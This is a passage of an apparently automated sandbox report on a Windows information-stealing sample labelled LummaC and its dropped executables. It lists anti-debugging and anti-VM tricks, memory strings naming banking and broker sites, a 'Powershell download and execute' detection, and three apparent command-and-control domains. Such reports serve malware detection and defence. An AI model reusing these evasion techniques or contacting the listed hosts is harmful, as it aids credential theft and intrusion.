Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA98 second address: 10EBA9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBB6A second address: 10EBB9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e sub dword ptr [ebp+122D3089h], edx 0x00000014 mov eax, dword ptr [ebp+122D2CDDh] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d call 00007F4010E98D49h 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBB9C second address: 10EBBAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F4010EA3D76h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBBAB second address: 10EBC74 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jno 00007F4010E98D46h 0x00000016 popad 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d jmp 00007F4010E98D59h 0x00000022 jmp 00007F4010E98D4Bh 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jl 00007F4010E98D4Eh 0x00000030 js 00007F4010E98D48h 0x00000036 pushad 0x00000037 popad 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c jmp 00007F4010E98D53h 0x00000041 pop eax 0x00000042 movzx esi, di 0x00000045 push 00000003h 0x00000047 mov dword ptr [ebp+122D2FB1h], esi 0x0000004d push 00000000h 0x0000004f call 00007F4010E98D58h 0x00000054 mov edi, 6674AC3Ah 0x00000059 pop esi 0x0000005a push 00000003h 0x0000005c jmp 00007F4010E98D4Dh 0x00000061 adc si, 6F73h 0x00000066 push D05A4B0Ah 0x0000006b push eax 0x0000006c push edx 0x0000006d push ebx 0x0000006e jmp 00007F4010E98D57h 0x00000073 pop ebx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBC74 second address: 10EBC7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBC7A second address: 10EBC7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBC7E second address: 10EBCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 105A4B0Ah 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F4010EA3D78h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jo 00007F4010EA3D8Bh 0x0000002f jmp 00007F4010EA3D85h 0x00000034 lea ebx, dword ptr [ebp+12451575h] 0x0000003a jmp 00007F4010EA3D7Dh 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F4010EA3D7Eh 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBCED second address: 10EBD0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4010E98D55h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10FC9E8 second address: 10FC9ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E2D8A second address: 10E2D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E2D90 second address: 10E2DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F4010EA3D7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F4010EA3D76h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E2DAB second address: 10E2DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E2DAF second address: 10E2DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110AC3D second address: 110AC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D52h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4010E98D4Fh 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110ADCE second address: 110ADD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110ADD2 second address: 110AE04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F4010E98D56h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4010E98D51h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110AF74 second address: 110AF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CCEE2 second address: 10CCF07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D4Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F4010E98D52h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110B4D5 second address: 110B4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F4010EA3D76h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110B4E5 second address: 110B50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F4010E98D52h 0x0000000d pop edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 je 00007F4010E98D46h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110BD00 second address: 110BD05 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110C00F second address: 110C024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F4010E98D4Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 110C024 second address: 110C029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 1113B34 second address: 1113B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jc 00007F4010E98D4Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Special instruction interceptor: First address: BB7D42 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Special instruction interceptor: First address: BB7E4A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Special instruction interceptor: First address: D6CD14 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Special instruction interceptor: First address: D9384C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Special instruction interceptor: First address: D7373A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Special instruction interceptor: First address: DF19E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Special instruction interceptor: First address: F6DD84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Special instruction interceptor: First address: 11140CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Special instruction interceptor: First address: 1112AC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Special instruction interceptor: First address: F6DC86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Special instruction interceptor: First address: 11B2890 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Special instruction interceptor: First address: EE6F15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Special instruction interceptor: First address: D4FBF6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Special instruction interceptor: First address: EF245B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Special instruction interceptor: First address: F816E9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Memory allocated: 48B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Memory allocated: 4A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Memory allocated: 48D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Code function: 3_2_010E750B rdtsc

3_2_010E750B

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Code function: 3_2_010FDB24 sidt fword ptr [esp-02h]

3_2_010FDB24

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe TID: 1236	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe TID: 6564	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe TID: 2604	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe, CDYE6QFT7BVP6AK0822DTDO89F1Y.exe, 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmp, ODUPR5K9IIA1563VE194RM.exe, ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1948589519.0000000000EC8000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745267066.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745494474.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838843969.000000000117A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[=
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarez
Source: hBBxlxfQ3F.exe, hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745267066.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745494474.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838843969.000000000117A000.00000004.00000020.00020000.00000000.sdmp, ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001684000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1610639189.0000000005B05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe, 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmp, ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1948589519.0000000000EC8000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: hBBxlxfQ3F.exe, 00000000.00000003.1611135499.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Code function: 3_2_010E750B rdtsc

3_2_010E750B

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: ODUPR5K9IIA1563VE194RM.exe PID: 6624, type: MEMORYSTR

LummaC encrypted strings found

Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
